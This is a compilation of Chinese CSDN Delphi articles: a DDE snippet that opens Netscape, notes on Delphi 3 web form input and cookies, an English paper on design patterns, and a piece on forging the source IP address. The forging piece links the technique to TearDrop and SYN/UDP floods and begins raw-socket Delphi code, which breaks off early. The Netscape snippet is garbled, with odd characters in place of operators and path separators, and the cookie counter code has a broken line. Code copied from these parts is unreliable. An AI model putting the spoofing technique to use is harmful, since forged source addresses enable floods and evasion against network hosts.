随着Internet的火爆，有没有想过在你的Delphi程序中启动Netscape浏览器，显示出你指定的WWW地址的主页。下面这个程序能够完成这一功能。

programNetscape；

usesDDEMan；

procedureGotoURL（sURL：string）；

var

dde：TDDEClientConv；

begin

dde：ΚTDDEClientConv．Create（nil）；

withddedo

begin

／／specifythelocationofnetscape．exe

ServiceApplication：Κ′c：ιns32ιprogramιnetscape．exe′；

／／activatetheNetscapeNavigator

SetLink（′Netscape′，′WWW—Activate′）；

RequestData（′0xFFFFFFFF′）；

／／gotothespecifiedURL

SetLink（′Netscape′，′WWW—OpenURL′）；

RequestData（sURL＋′，，0xFFFFFFFF，0x3，，，′）；

CloseLink；

end；

dde．Free；

end；

begin

GotoURL（′http：／／www．yahoo．com／′）；

end．

Delphi开发Web Server程序响应用户的输入

随着Internet/Intranet的飞速发展和普遍应用，对在Internet/Intranet上的应用程序的需求越来越多，于是Java和ActiveX Form应运而生，但是，现在Internet的带宽还非常低下的情况下，这种基于Client端的应用是非常困难的，下载一个非常小、功能非常简单的Java Applet就需要非常长的时间，而且还存在着用户使用浏览器不支持这种新技术的可能。在这种情况下，基于服务器的CGI，Win-CGI，ISAPI/NSAPI还是一种主要的方式。使用Delphi 3开发Web Server程序是非常简单的，Delphi 3中提供了大量的元件和对象，支持Web Server程序的开发。

在Delphi 3的Demos中提供了简单的Web Server程序开发的例程，本文主要集中在此例程中没有涉及到的响应用户输入的问题。

HTML中用户输入主要是 例如(查询某人的电话号码)：

姓名:

在这个例子中使用了POST方法。那么在Web Server应用程序中，如何得知用户的输入信息呢？

在HTTP协议中，客户端向Web Server应用程序返回数据主要是通过URL和CONTENT部分。例如URL中：http://www.delphi.com.cn/dfyw/cgi-bin/delinfo.exe?id=10，这里，id=10数据参数，告诉delinfo.exe显示从ID=10开始的信息，这一般应用在数据量较少的情况下，优点是比较容易输入参数，缺点是数据量不能太大，并影响URL的显示。在CONTENT中保存数据信息的优点是不影响URL的显示，而且数据量较大，缺点是用户只能使用 除了POST方法使用CONTENT部分返回数据以外，其它方法都是通过URL来返回数据的。

Delphi中有TWebRequest对象，这个对象将HTTP返回的信息进行分析，非常容易使用。对于CONTENT中的数据，TWebRequest使用ContentFields，将数据分析成为一个TStrings，可以直接使用Request.ContentFields.Values['name']来都取数据。而URL中的数据，TWebRequest使用QueryFields，也将数据分析成为了一个TStrings，可以直接使用Request.QueryFields.Values['name']来读取数据。

例如上面的HTML返回的消息处理：

if Request.ContentFields.Values['name']<’’ then

Response.Content:= Request.ContentFields.Values['name']

+’的电话号码是：’+QueryTelCode(Request.ContentFields.Values['name'])

else

Response.Content:=’请输入用户名’;

Delphi 3中Cookie的建立使用:

Cookies是一种Web服务器在客户端存储和返回信息的机制

这种简单的、永久的和基于客户端的状态信息大大的扩充了基于Web的客户/服务器(Client/Server)应用程序的能力。因此广泛应用在大量的实际中，例如所有订阅Microsoft公司的MSDN的用户、访问过Borland Online的用户，以及访问过我的主页(http://www.nease.net/~borland)的用户都会在本地存储Cookie，以便下次访问时提供上次访问的记录。

Delphi 3是Borland公司1997年推出的可视化、面向对象的高效率的快速应用程序开发工具(RAD)，提供了大量的最新功能，例如开发COM/DCOM，一步开发ActiveX对象，多层数据库应用程序MIDAS等，并且使用Delphi 3开发基于Web服务器的程序，如ISAPI/NSAPI，Win-CGI，CGI程序都十分方便。

使用Delphi 3开发Web Server程序是非常简单，方便的，因为在Delphi中提供了Web Module、TWebApplication、TWebRequest、TWebResponse、TPageProducer等大量的对象供使用.对于Cookie

Delphi3也提供了大量的程序供使用

如TWebResponse.Cookies，TWebResponse.SetCookieField，TWebRequest.Cookie，TWebRequest.CookieFields，TWebRequest.ExtractCookieFields等，应该是非常方便。但本人为了实现一功能需要设置Cookie，但是发现使用Delphi提供的SetCookieFields设置不成功，经研究Delphi 3所带的HttpApp.Pas和IsapiApp.Pas文件发现在中文Windows 95和NT环境下该程序有错误。

根据Netscape公司的规定

Cookie的格式应为:

Set-Cookie: Name=Value; expires=DATA; Path=PATH; domain=DOMAIN_NAME; secure

而且根据规定

日期(DATA)的设置必须满足格式“Wdy

DD-Mon-YYYY HH:MM:SS GMT”

基于RFC822

RFC850

RFC1036和RFC1123等规定，但是检查HTTPAPP.PAS中的function TCookie.GetHeaderValue: string中为FormatDateTime('"expires="' + DateFormat + ' "GMT; "'

Expires);

其中const DateFormat = 'ddd

dd mmm yyyy hh:mm:ss'

此程序在英文环境中产生的格式是正确的

但是在中文中产生的结果却不对

因为星期和月份都将按照中文的表示方法：如将11月生产“十一月”中文串，这样在Netscape Navigator和Microsoft Internet Explorer就不能辨认了。

既然错误在于原VCL未考虑中文环境的问题，所以修改的方法有：1、修改VCL源程序，编译后将dcu文件拷贝到Lib目录，这样会完全改正错误，这样是最根本的解决方法，但是如果将源程序放在另一未修改的Delphi中(例如提供源程序给别人和自己重新安装)编译又将出现问题。2、因为使用并不太多，所以可以将修改的程序放在自己的程序中，使用Delphi 3提供的TWebResponse.SetCustomHeader设置

这样的好处是将程序放在自己的程序内，重新装Delphi或在另一台计算机上编译的结果也会完全正确。因为Cookie的目的一般有两种，一种是在此会话过程中使用，过后不使用，此时不需要Expires段，不会产生时间错误，可以使用Delphi 3提供的所有Cookie程序；另一种为永久保存，时间一般越长越好，于是可以将时间设置为2099年二月22日

于是程序中设置Cookie的方法为:

Response.SetCustomHeader('Set-Cookie'

'Name=Value; expires=Sun

22 Feb 2099 08:08:08 GMT'); (注斜体用自己的名称代替，例如设置Count＝10，则Name用Count代替，Value用10代替)，这样就可以建立Cookie了.

以下为建立一个访问计数器的程序，可以参照：

const

LastIp:String='0:0:0:0'; //避免重复计数

Var

S:String;

Count:Integer;

begin

S:=Request.CookieFields.Values['count'];

if S<'' then begin

try

Count:=StrToInt(S);

Except

Count:=0;

End;

end else Count:=0;

if LastIp LastIp:=Request.RemoteAddr;

Response.SetCustomHeader('Set-Cookie'

'count='+IntToStr(Count)+'; expires=Sun

21 Feb 2010 08:08:08 GMT');

Response.Content:='您是第'+IntToStr(Count)+'来到本页!';

End;


CSDN_文档中心_Introduction to Design Patterns in Delphi

Introduction to Design Patterns in Delphi

This discussion paper was presented by James Heyworth to the Canberra PC Users Group Delphi SIG on 11/11/1996.

Please send comments and suggestions to james@obsof.com.

Contents

Introduction

How Delphi Helps You Define Patterns

Delphi Examples of Design Patterns

Pattern: Singleton

Pattern: Adapter

Pattern: Template Method

Pattern: Builder

Pattern: Abstract Factory

Pattern: Factory Method

Appendix: Key Elements of Delphi Class Definitions

Bibliography

Download Paper and Source Code Examples

Introduction

Design patterns are frequently recurring structures and relationships in object-oriented design. Getting to know them can help you design better, more reusable code and also help you learn to design more complex systems.

Much of the ground-breaking work on design patterns was presented in the book Design Patterns: Elements of Reusable Object-Oriented Software by Gamma, Helm, Johnson and Vlissides. You might also have heard of the authors referred to as "the Gang of Four". If you haven't read this book before and you're designing objects, it's an excellent primer to help structure your design. To get the most out of these examples, I recommend reading the book as well.

This paper takes some sample patterns from Design Patterns and discusses their implementation in Delphi.

Another good source of pattern concepts is the book Object Models: Strategies, Patterns and Applications by Peter Coad. Coad's examples are more business oriented and he emphasises learning strategies to identify patterns in your own work.

How Delphi Helps You Define Patterns

Delphi implements a fully object-oriented language with many practical refinements that simplify development.

A summary of Delphi class concepts can be found in the following appendix.

The most important class attributes from a pattern perspective are the basic inheritance of classes; virtual and abstract methods; and use of protected and public scope. These give you the tools to create patterns that can be reused and extended, and let you isolate varying functionality from base attributes that are unchanging.

Delphi is a great example of an extensible application, through its component architecture, IDE interfaces and tool interfaces. These interfaces define many virtual and abstract constructors and operations.

Delphi Examples of Design Patterns

I should note from the outset, there may be alternative or better ways to implement these patterns and I welcome your suggestions on ways to improve the design. The following patterns from the book Design Patterns are discussed and illustrated in Delphi to give you a starting point for implementing your own Delphi patterns.

Pattern Name | Definition
Singleton | "Ensure a class has only one instance, and provide a global point of access to it."
Adapter | "Convert the interface of a class into another interface clients expect. Adapter lets classes work together that couldn't otherwise because of incompatible interfaces."
Template Method | "Define the skeleton of an algorithm in an operation, deferring some steps to subclasses. Template Method lets subclasses redefine certain steps of an algorithm without changing the algorithm's structure."
Builder | "Separate the construction of a complex object from its representation so that the same construction process can create different representations."
Abstract Factory | "Provide an interface for creating families of related or dependant objects without specifying their concrete classes."
Factory Method | "Define an interface for creating an object, but let subclasses decide which class to instantiate. Factory method lets a class defer instantiation to subclasses."

Note: These definitions are taken from Design Patterns.

Pattern: Singleton

Definition

"Ensure a class has only one instance, and provide a global point of access to it."

This is one of the easiest patterns to implement.

Applications in Delphi

There are several examples of this sort of class in the Delphi VCL, such as TApplication, TScreen or TClipboard. The pattern is useful whenever you want a single global object in your application. Other uses might include a global exception handler, application security, or a single point of interface to another application.

Implementation Example

To implement a class of this type, override the constructor and destructor of the class to refer to a global (interface) variable of the class.

Abort the constructor if the variable is assigned, otherwise create the instance and assign the variable.

In the destructor, clear the variable if it refers to the instance being destroyed.

Note: To make the creation and destruction of the single instance automatic, include its creation in the initialization section of the unit. To destroy the instance, include its destruction in an ExitProc (Delphi 1) or in the finalization section of the unit (Delphi 2).

The following Delphi 1 example illustrates two singleton classes, one derived from TComponent and another derived from TObject.

unit Singletn;

interface

uses

  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,

  Forms, Dialogs;

type

  TCSingleton = class(TComponent)

  public

    constructor Create(AOwner: TComponent); override;

    destructor Destroy; override;

  end;

  TOSingleton = class(TObject)

  public

    constructor Create;

    destructor Destroy; override;

  end;

var

  Global_CSingleton: TCSingleton;

  Global_OSingleton: TOSingleton;

procedure Register;

implementation

procedure Register;

begin

  RegisterComponents('Design Patterns', [TCSingleton]);

end;

{ TCSingleton }

constructor TCSingleton.Create(AOwner: TComponent);

begin

  if Global_CSingleton <> nil then

    {NB could show a message or raise a different exception here}

    Abort

  else begin

    inherited Create(AOwner);

    Global_CSingleton := Self;

  end;

end;

destructor TCSingleton.Destroy;

begin

  if Global_CSingleton = Self then

    Global_CSingleton := nil;

  inherited Destroy;

end;

{ TOSingleton }

constructor TOSingleton.Create;

begin

  if Global_OSingleton <> nil then

    {NB could show a message or raise a different exception here}

    Abort

  else

    Global_OSingleton := Self;

end;

destructor TOSingleton.Destroy;

begin

  if Global_OSingleton = Self then

    Global_OSingleton := nil;

  inherited Destroy;

end;

procedure FreeGlobalObjects; far;

begin

  if Global_CSingleton <> nil then

    Global_CSingleton.Free;

  if Global_OSingleton <> nil then

    Global_OSingleton.Free;

end;

begin

  AddExitProc(FreeGlobalObjects);

end.

Pattern: Adapter

Definition

"Convert the interface of a class into another interface clients expect. Adapter lets classes work together that couldn't otherwise because of incompatible interfaces."

Applications in Delphi

A typical example of this is the wrapper Delphi generates when you import a VBX or OCX. Delphi generates a new class which translates the interface of the external control into a Pascal compatible interface. Another typical case is when you want to build a single interface to old and new systems.

Note Delphi does not allow class adaption through multiple inheritance in the way described in Design Patterns. Instead, the adapter needs to refer to a specific instance of the old class.

Implementation Example

The following example is a simple (read only) case of a new customer class, an adapter class and an old customer class. The adapter illustrates handling the year 2000 problem, translating an old customer record containing two digit years into a new date format. The client using this wrapper only knows about the new customer class. Translation between classes is handled by the use of virtual access methods for the properties. The old customer class and adapter class are hidden in the implementation of the unit.

unit Adapter;

interface

uses SysUtils, Classes;

type

  { The new class }

  TNewCustomer = class

  private

    FCustomerID: Longint;

    FFirstName: string;

    FLastName: string;

    FDOB: TDateTime;

  protected

    function GetCustomerID: Longint; virtual;

    function GetFirstName: string; virtual;

    function GetLastName: string; virtual;

    function GetDOB: TDateTime; virtual;

  public

    constructor Create(CustID: Longint); virtual;

    property CustomerID: Longint read GetCustomerID;

    property FirstName: string read GetFirstName;

    property LastName: string read GetLastName;

    property DOB: TDateTime read GetDOB;

  end;

  { An interface method }

  { Lets us hide details of TOldCustomer from the client }

function GetCustomer(CustomerID: Longint): TNewCustomer;

implementation

const

  Last_OldCustomer_At_Year_2000 = 15722;

  Last_OldCustomer_In_Database = 30000;

{ The new class }

constructor TNewCustomer.Create(CustID: Longint);

begin

  FCustomerID := CustID;

  FFirstName := 'A';

  FLastName := 'New_Customer';

  FDOB := Now;

end;

function TNewCustomer.GetCustomerID: Longint;

begin

  Result := FCustomerID;

end;

function TNewCustomer.GetFirstName: string;

begin

  Result := FFirstName;

end;

function TNewCustomer.GetLastName: string;

begin

  Result := FLastName;

end;

function TNewCustomer.GetDOB: TDateTime;

begin

  Result := FDOB;

end;

type

  { The old class }

  TOldDOB = record

    Day: 0..31;

    Month: 1..12;

    Year: 0..99;

  end;

  TOldCustomer = class

    FCustomerID: Integer;

    FName: string;

    FDOB: TOldDOB;

  public

    constructor Create(CustID: Integer);

    property CustomerID: Integer read FCustomerID;

    property Name: string read FName;

    property DOB: TOldDOB read FDOB;

  end;

constructor TOldCustomer.Create(CustID: Integer);

begin

  FCustomerID := CustomerID;

  FName := 'An Old_Customer';

  with FDOB do begin

    Day := 1;

    Month := 1;

    Year := 1;

  end;

end;

type

  { The Adapter class }

  TAdaptedCustomer = class(TNewCustomer)

  private

    FOldCustomer: TOldCustomer;

  protected

    function GetCustomerID: Longint; override;

    function GetFirstName: string; override;

    function GetLastName: string; override;

    function GetDOB: TDateTime; override;

  public

    constructor Create(CustID: Longint); override;

    destructor Destroy; override;

  end;

{ The Adapter class }

constructor TAdaptedCustomer.Create(CustID: Longint);

begin

  inherited Create(CustID);

  FOldCustomer := TOldCustomer.Create(CustID);

end;

destructor TAdaptedCustomer.Destroy;

begin

  FOldCustomer.Free;

  inherited Destroy;

end;

function TAdaptedCustomer.GetCustomerID: Longint;

begin

  Result := FOldCustomer.CustomerID;

end;

function TAdaptedCustomer.GetFirstName: string;

var

  SpacePos: integer;

begin

  SpacePos := Pos(' ', FOldCustomer.Name);

  if SpacePos = 0 then

    Result := ''

  else

    Result := Copy(FOldCustomer.Name,1,SpacePos-1);

end;

function TAdaptedCustomer.GetLastName: string;

var

  SpacePos: integer;

begin

  SpacePos := Pos(' ', FOldCustomer.Name);

  if SpacePos = 0 then

    Result := FOldCustomer.Name

  else

    Result := Copy(FOldCustomer.Name,SpacePos+1,255);

end;

function TAdaptedCustomer.GetDOB: TDateTime;

var

  FullYear: Word;

begin

  if CustomerID > Last_OldCustomer_At_Year_2000 then

    FullYear := 2000 + FOldCustomer.DOB.Year

  else

    FullYear := 1900 + FOldCustomer.DOB.Year;

  Result := EncodeDate(FullYear, FOldCustomer.DOB.Month, FOldCustomer.DOB.Day);

end;

function GetCustomer(CustomerID: Longint): TNewCustomer;

begin

  if CustomerID > Last_OldCustomer_In_Database then

    Result := TNewCustomer.Create(CustomerID)

  else

    Result := TAdaptedCustomer.Create(CustomerID) as TNewCustomer;

end;

end.

Pattern: Template Method

Definition

"Define the skeleton of an algorithm in an operation, deferring some steps to subclasses. Template Method lets subclasses redefine certain steps of an algorithm without changing the algorithm's structure."

This pattern is essentially an extension of abstract methods to more complex algorithms.

Applications in Delphi

Abstraction is implemented in Delphi by abstract virtual methods. Abstract methods differ from virtual methods by the base class not providing any implementation. The descendant class is completely responsible for implementing an abstract method. Calling an abstract method that has not been overridden will result in a runtime error.

A typical example of abstraction is the TGraphic class.

TGraphic is an abstract class used to implement TBitmap, TIcon and TMetafile. Other developers have frequently used TGraphic as the basis for other graphics objects such as PCX, GIF, JPG representations. TGraphic defines abstract methods such as Draw, LoadFromFile and SaveToFile which are then overridden in the concrete classes. Other objects that use TGraphic, such as a TCanvas only know about the abstract Draw method, yet are used with the concrete class at runtime.

Many classes that use complex algorithms are likely to benefit from abstraction using the template method approach. Typical examples include data compression, encryption and advanced graphics processing.

Implementation Example

To implement template methods you need an abstract class and concrete classes for each alternate implementation. Define a public interface to an algorithm in an abstract base class. In that public method, implement the steps of the algorithm in calls to protected abstract methods of the class. In concrete classes derived from the base class, override each step of the algorithm with a concrete implementation specific to that class.

This example shows some very simple alogrithm steps, but illustrates the principle of deferring implementation to a subclass.

unit Tpl_meth;

interface

type

  TAbstractTemplateClass = class(TObject)

  protected

    function Algorithm_StepA: Integer; virtual; abstract;

    function Algorithm_StepB: Integer; virtual; abstract;

    function Algorithm_StepC: Integer; virtual; abstract;

  public

    function Algorithm: Integer;

  end;

  TConcreteClassA = class(TAbstractTemplateClass)

  protected

    function Algorithm_StepA: Integer; override;

    function Algorithm_StepB: Integer; override;

    function Algorithm_StepC: Integer; override;

  end;

  TConcreteClassB = class(TAbstractTemplateClass)

  protected

    function Algorithm_StepA: Integer; override;

    function Algorithm_StepB: Integer; override;

    function Algorithm_StepC: Integer; override;

  end;

Pattern: Builder

Definition

"Separate the construction of a complex object from its representation so that the same construction process can create different representations."

A Builder seems similar in concept to the Abstract Factory. The difference as I see it is the Builder refers to single complex objects of different concrete classes but containing multiple parts, whereas the abstract factory lets you create whole families of concrete classes. For example, a builder might construct a house, cottage or office. You might employ a different builder for a brick house or a timber house, though you would give them both similar instructions about the size and shape of the house. On the other hand the factory generates parts and not the whole. It might produce a range of windows for buildings, or it might produce a quite different range of windows for cars.

Applications in Delphi

The functionality used in Delphi's VCL to create forms and components is similar in concept to the builder. Delphi creates forms using a common interface, through Application.CreateForm and through the TForm class constructor. TForm implements a common constructor using the resource information (DFM file) to instantiate the components owned by the form. Many descendant classes reuse this same construction process to create different representations. Delphi also makes developer extensions easy. TForm's OnCreate event also adds a hook into the builder process to make the functionality easy to extend.

Implementation Example

The following example includes a class TAbstractFormBuilder and two concrete classes TRedFormBuilder and TBlueFormBuilder. For ease of development some common functionality of the concrete classes has been moved into the shared TAbstractFormBuilder class.

type

  TAbstractFormBuilder = class

  private

    FForm: TForm;

    procedure BuilderFormClose(Sender: TObject; var Action: TCloseAction);

  protected

    function GetForm: TForm; virtual;

  public

    procedure CreateForm(AOwner: TComponent); virtual;

    procedure CreateSpeedButton; virtual; abstract;

    procedure CreateEdit; virtual; abstract;

    procedure CreateLabel; virtual; abstract;

    property Form: TForm read GetForm;

  end;

type

  TRedFormBuilder = class(TAbstractFormBuilder)

  private

    FNextLeft, FNextTop: Integer;

  public

    procedure CreateForm(AOwner: TComponent); override;

    procedure CreateSpeedButton; override;

    procedure CreateEdit; override;

    procedure CreateLabel; override;

  end;

type

  TBlueFormBuilder = class(TAbstractFormBuilder)

  private

    FNextLeft, FNextTop: Integer;

  public

    procedure CreateForm(AOwner: TComponent); override;

    procedure CreateSpeedButton; override;

    procedure CreateEdit; override;

    procedure CreateLabel; override;

  end;

At runtime the client application instructs one of the concrete classes to create parts using the public part creation procedures. The concrete builder instance is passed to the folliwing procedure:

procedure TForm1.Create3ComponentFormUsingBuilder(ABuilder: TAbstractFormBuilder);

var

  NewForm: TForm;

begin

  with ABuilder do begin

    CreateForm(Application);

    CreateEdit;

    CreateSpeedButton;

    CreateLabel;

    NewForm := Form;

    if NewForm <> nil then NewForm.Show;

  end;

end;

Pattern: Abstract Factory

Definition

"Provide an interface for creating families of related or dependant objects without specifying their concrete classes."

The Factory Method pattern below is commonly used in this pattern.

Applications in Delphi

This pattern is ideal where you want to isolate your application from the implementation of the concrete classes. For example if you wanted to overlay Delphi's VCL with a common VCL layer for both 16 and 32 bit applications, you might start with the abstract factory as a base.

Implementation Example

The following example uses an abstract factory and two concrete factory classes to implement different styles of user interface components. TOAbstractFactory is a singleton class, since we usually want one factory to be used for the whole application.

TOAbstractFactory = class(TObject)

  public

    constructor Create;

    destructor Destroy; override;

    { abstract widget constructors }

    function CreateSpeedButton(AOwner: TComponent): TSpeedButton; virtual; abstract;

    function CreateEdit(AOwner: TComponent): TEdit; virtual; abstract;

    function CreateLabel(AOwner: TComponent): TLabel; virtual; abstract;

  end;

TORedFactory and TOBlueFactory override the abstract interface to support different widget styles.

TORedFactory = class(TOAbstractFactory)

  public

    { concrete widget constructors }

    function CreateSpeedButton(AOwner: TComponent): TSpeedButton; override;

    function CreateEdit(AOwner: TComponent): TEdit; override;

    function CreateLabel(AOwner: TComponent): TLabel; override;

  end;

TOBlueFactory = class(TOAbstractFactory)

  public

    { concrete widget constructors }

    function CreateSpeedButton(AOwner: TComponent): TSpeedButton; override;

    function CreateEdit(AOwner: TComponent): TEdit; override;

    function CreateLabel(AOwner: TComponent): TLabel; override;

  end;

At runtime, our client application instantiates the abstract factory with a concrete class and then uses the abstract interface. Parts of the client application that use the factory don't need to know which concrete class is actually in use.

Pattern: Factory Method

Definition

"Define an interface for creating an object, but let subclasses decide which class to instantiate. Factory method lets a class defer instantiation to subclasses."

The Abstact Factory pattern can be viewed as a collection of Factory Methods.

Applications in Delphi

This pattern is useful when you want to encapsulate the construction of a class and isolate knowledge of the concrete class from the client application through an abstract interface.

One example of this might arise if you had an object oriented business application potentially interfacing to multiple target DBMS. The client application only wants to know about the business classes, not about their implementation-specific storage and retrieval.

Implementation Example

In the Abstract Factory example, each of the virtual widget constructor functions is a Factory Method. In their implementation we define a specific widget class to return.

TRedSpeedButton = class(TSpeedButton)

  public

    constructor Create(AOwner: TComponent); override;

  end;

constructor TRedSpeedButton.Create(AOwner: TComponent);

begin

  inherited Create(AOwner);

  Font.Color := clRed;

end;

function TORedFactory.CreateSpeedButton(AOwner: TComponent): TSpeedButton;

begin

  Result := TRedSpeedButton.Create(AOwner);

end;

Appendix: Key Elements of Delphi Class Definitions

Unit Structure

Delphi units (.PAS files) allow declaration of interface and implementation sections. The interface defines the part that is visible to other units using that unit. The keyword uses can be added to a unit's interface or implementation section to list the other units that your unit uses. This indicates to the compiler that your unit refers to parts of the used unit's interface. Parts of a unit declared in the implementation section are all private to that unit, i.e. never visible to any other unit. Types, functions and procedures declared in the interface of a unit must have a corresponding implementation, or be declared as external (e.g. a call to a function in a DLL).

Class Interfaces

Classes are defined as types in Delphi and may contain fields of standard data types or other objects, methods declared as functions or procedures, and properties. The type declaration of a class defines its interface and the scope of access to fields, methods and properties of the class. Class interfaces are usually defined in the interface of a unit to make them accessible to other modules using that unit. However they don't need to be. Sometimes a type declaration of a class may be used only within the implementation part of a unit.

Properties

Properties are a specialised interface to a field of a defined type, allowing access control through read and write methods. Properties are not virtual, you can replace a property with another property of the same name, but the parent class doesn't know about the new property. It is however possible to make the access methods of a property virtual.

Inheritance

Delphi's inheritance model is based on a single hierarchy. Every class inherits from TObject and can have only one parent.

A descendant class inherits all of the interface and functionality of its parent class, subject to the scope described below.

Multiple inheritance from more than one parent is not allowed directly. It can be implemented by using a container class to create instances one or more other classes and selectively expose parts of the contained classes.

Private, Protected, Public and Published Scope

Scope refers to the visibility of methods and data defined in the interface of a class, i.e. what parts of the class are accessible to the rest of the application or to descendant classes.

The default scope is public, for instance the component instances you add to a form at design time. Public says "come and get me"; it makes the data or method visible to everything at runtime.

Published parts of a class are a specialized form of Public scope. They indicate special behaviour for classes derived from TPersistent. A persistent class can save and restore its published properties to persistent storage using Delphi's standard streaming methods. Published properties also interact with Delphi Object Inspector in the IDE. A class must descend from TPersistent in order to use Published. There's also not much point in publishing methods, since you can't store them, although Delphi's compiler doesn't stop you. Published also lets another application access details of the class through Delphi's runtime type information. This would be rarely used, except in Delphi's design time interaction with its VCL.

Encapsulation or information hiding is essential to object orientation, so Protected and Private scope let you narrow the access to parts of a class.

Protected parts are visible only to descendant classes, or to other classes defined in the same unit.

Private parts are visible only to the defining class, or to other classes defined in the same unit.

It's important to note that once something is given public or published scope, it cannot be hidden in descendant classes.

Static, Virtual and Dynamic Methods; Override and Inherited

Methods declared as virtual or dynamic let you change their behaviour using override in a descendant class. You're unlikely to see a virtual method in the private part of a class, since it could only be overridden in the same unit, although Delphi's compiler doesn't stop you from doing this.

Override indicates that your new method replaces the method of the same name from the parent class. The override must be declared with the same name and parameters as the original method.

When a method is overridden, a call to the parent class's method actually executes the override method in the real class of the object.

Static methods on the other hand have no virtual or override declaration. You can replace a method of a class in a descendant class by redeclaring another method, however this is not object oriented. If you reference your descendant class as the parent type and try to call the replaced method, the static method of the parent class is executed. So in most cases, it's a bad idea to replace a static method.

Virtual and dynamic methods can be used interchangeably. They differ only in their treatment by the compiler and runtime library. Delphi's help explains that dynamic methods have their implementation resolved at compile time and run slightly faster, whereas virtual methods are resolved at runtime, resulting in slightly slower access but a smaller compiled program. Virtual is usually the preferred declaration. Delphi's help suggests using dynamic when you have a base class with many descendants that may not override the method.

The inherited directive lets you refer back to a property or method as it was declared in the parent class. This is most often used in the implementation of an override method, to call the inherited method of the parent class and then supplement its behaviour.

Abstract Methods

Abstract is used in base classes to declare a method in the interface and defer its implementation to a descendant class. I.e. it defines an interface, but not the underlying operation. Abstract must be used with the virtual or dynamic directive. Abstract methods are never implemented in the base class and must be implemented in descendant classes to be used. A runtime error occurs if you try to execute an abstract method that is not overridden. Calling inherited within the override implementation of an abstract method will also result in a runtime error, since there is no inherited behaviour.

Messages

Delphi's handling of Windows messages is a special case of virtual methods. Message handlers are implemented in classes that descend from TControl. I.e classes that have a handle and can receive messages. Message handlers are always virtual and can be declared in the private part of a class interface, yet still allow the inherited method to be called. Inherited in a message handler just uses the keyword inherited, there is no need to supply the name of the method to call.

Events

Events are also an important characteristic of Delphi, since they let you delegate extensible behaviour to instances of a class. Events are properties that refer to a method of another object. Events are not inherited in Delphi 1; Delphi 2 extends this behaviour to let you use inherited in an event. . Inherited in an event handler just uses the keyword inherited, there is no need to supply the name of the method to call.

Events are particularly important to component developers, since they provide a hook for the user of the component to modify its behaviour in a way that may not be foreseen at the time the component is written.

Constructors and Destructors

The constructor and destructor are two special types of methods. The constructor initializes a class instance (allocates memory initialized to 0) and returns a reference (pointer) to the object. The destructor deallocates memory used by the object (but not the memory of other objects created by the object).

Classes descended from TObject have a static constructor, Create, and a virtual destructor Destroy.

TComponent introduces a new public property, the Owner of the component and this must be initialized in the constructor. TComponent's constructor is declared virtual, i.e. it can be overridden in descendant classes.

It is essential when you override a virtual constructor or destructor in a TComponent descendant to include a call to the inherited method.

Bibliography

  1. Design Patterns: Elements of Reusable Object-Oriented Software, Erich Gamma et al., Addison-Wesley, Massachusetts, 1995.
  2. Object Models: Strategies, Patterns and Applications, Peter Coad et al., Prentice-Hall, New Jersey, 1995.

Copyright © 1996, Objective Software Technology Pty Limited. This paper may be freely distributed in its entirety, providing the source is acknowledged.

Portions quoted from Design Patterns are Copyright © 1995, Addison Wesley Publishing Company.


CSDN_文档中心_IP地址的隐藏（delphi实现 ）

IP地址的隐藏
一、前言
   本文主要介绍如何在程序中实现IP地址的隐藏。其实这篇东西不算我写的。其中《IP头结构》部分我懒得打字，故复制、粘贴了孤独剑客的文章，先说声谢谢！代码部分参考了外国程序xes写的一个程序。所以这只是学习过程中的一个副产品。既然程序已经做好了，就顺便放上来跟大家一起交流，共同提高吧。本文只不过想说明一下IP数据的结构和发送机制。如果有人把它改为恶意IP攻击工具，后果自负。
二、IP头结构
我们知道，TCP/IP网络数据全部是通过封装在IP数据包中在Internet网上传送的，也就是封装建立起一个包含IP头和数据的IP数据报。一般来说，网络软件总是以多个32位字产生IP头，即使必须用附加的0填充IP头。IP头包含了传输IP数据包中封装数据的所有必要信息。IP头的数据结构和描述如下：

成员 长度(Bit) 描述
Version 4 IP头的版本号，目前是IPv4，最新是IPv6
Header Length 4 IP头的长度，若没有特殊选择，IP头总是20字节长
Type of Service 8 服务类型，定义了数据传输的优先级、延迟、吞吐量和可靠性等特性
Total Packet Length 16 IP包的长度，若没有特殊选项，一般为20字节长
Identification 16 IP包标识，主机使用它唯一确定每个发送的数据报
Flag 3 IP数据分割标志
Fragment Offset 13 IP数据分割偏移
Time to Live 8 数据报在网络上的存活时间，每通过一个路由器，该数值减一
Protocol 8 TCP/IP协议类型，比如：ICMP为1，IGMP为2，TCP为6，UDP为17等
Header Checksum 16 头部检验和
Source IP Address 32 源IP地址
Destination IP Address 32 目的IP地址
Other ? 其他选项
Data ? 数据
实现自己定义的IP头是一件非常有意义的事情，比如，通过改变IP头里的TOS的优先级和TTL，你可以使自己的数据包有更强的传输能力和寿命，通过修改IP头里的源IP地址就可以隐藏自己机器的IP地址等等。象著名攻击程序“泪滴TearDrop”就是通过故意制造系统不能处理的分片IP包而实现的，还有SYN Flooder和UDP Flooder就是通过产生随机源IP实现欺骗的。
三、实现原理
一般来说，自定义IP头是通过使用socket的库函数setsockopt()的选项IP_HDRINCL来实现的，尽管这在unix和linux平台上很容易实现，但遗憾的是在Windows平台的Winsock1.1和Winsock2.0函数库里setsockopt()不支持IP_HDRINCL选项，所以在Windows 9x/NT里是无法通过Winsock函数库来实现IP头自定义的，当然可以通过编写虚拟设备驱动程序来实现，不过比较复杂，但Windows 2000的出现打破了这种局面，Windows2000的Winsock2.2函数库里全面支持setsockopt()的选项IP_HDRINCL，使得我们轻松就可以实现自定义的IP头。实现方法如下：
四、代码部分
{
1. 本程序只能运行于 Window 2000.
2. 你必须有 Administrator 权限.
3. 程序需要用到一个 button 和一个 memo.
----------------------------------------------------------------------
运行程序前，请根据自己的需要改变 SrcIP、SrcPort、DestIP和DestPort的值
----------------------------------------------------------------------
如果你看不懂以下代码，最好不要去运行它。
----------------------------------------------------------------------
}
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, OleCtrls, Registry;

Const
SrcIP = '123.123.123.1';//发送方IP地址
SrcPort = 1234; file://发送方端口
DestIP = '127.0.0.2'; file://目的IP地址
DestPort = 4321; file://目的端口

Max_Message = 4068;
Max_Packet = 4096;

type

TPacketBuffer = Array[0..Max_Packet-1] of byte;

TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure SendIt;
end;

// IP 头
type
T_IP_Header = record
ip_verlen : Byte;
ip_tos : Byte;
ip_totallength : Word;
ip_id : Word;
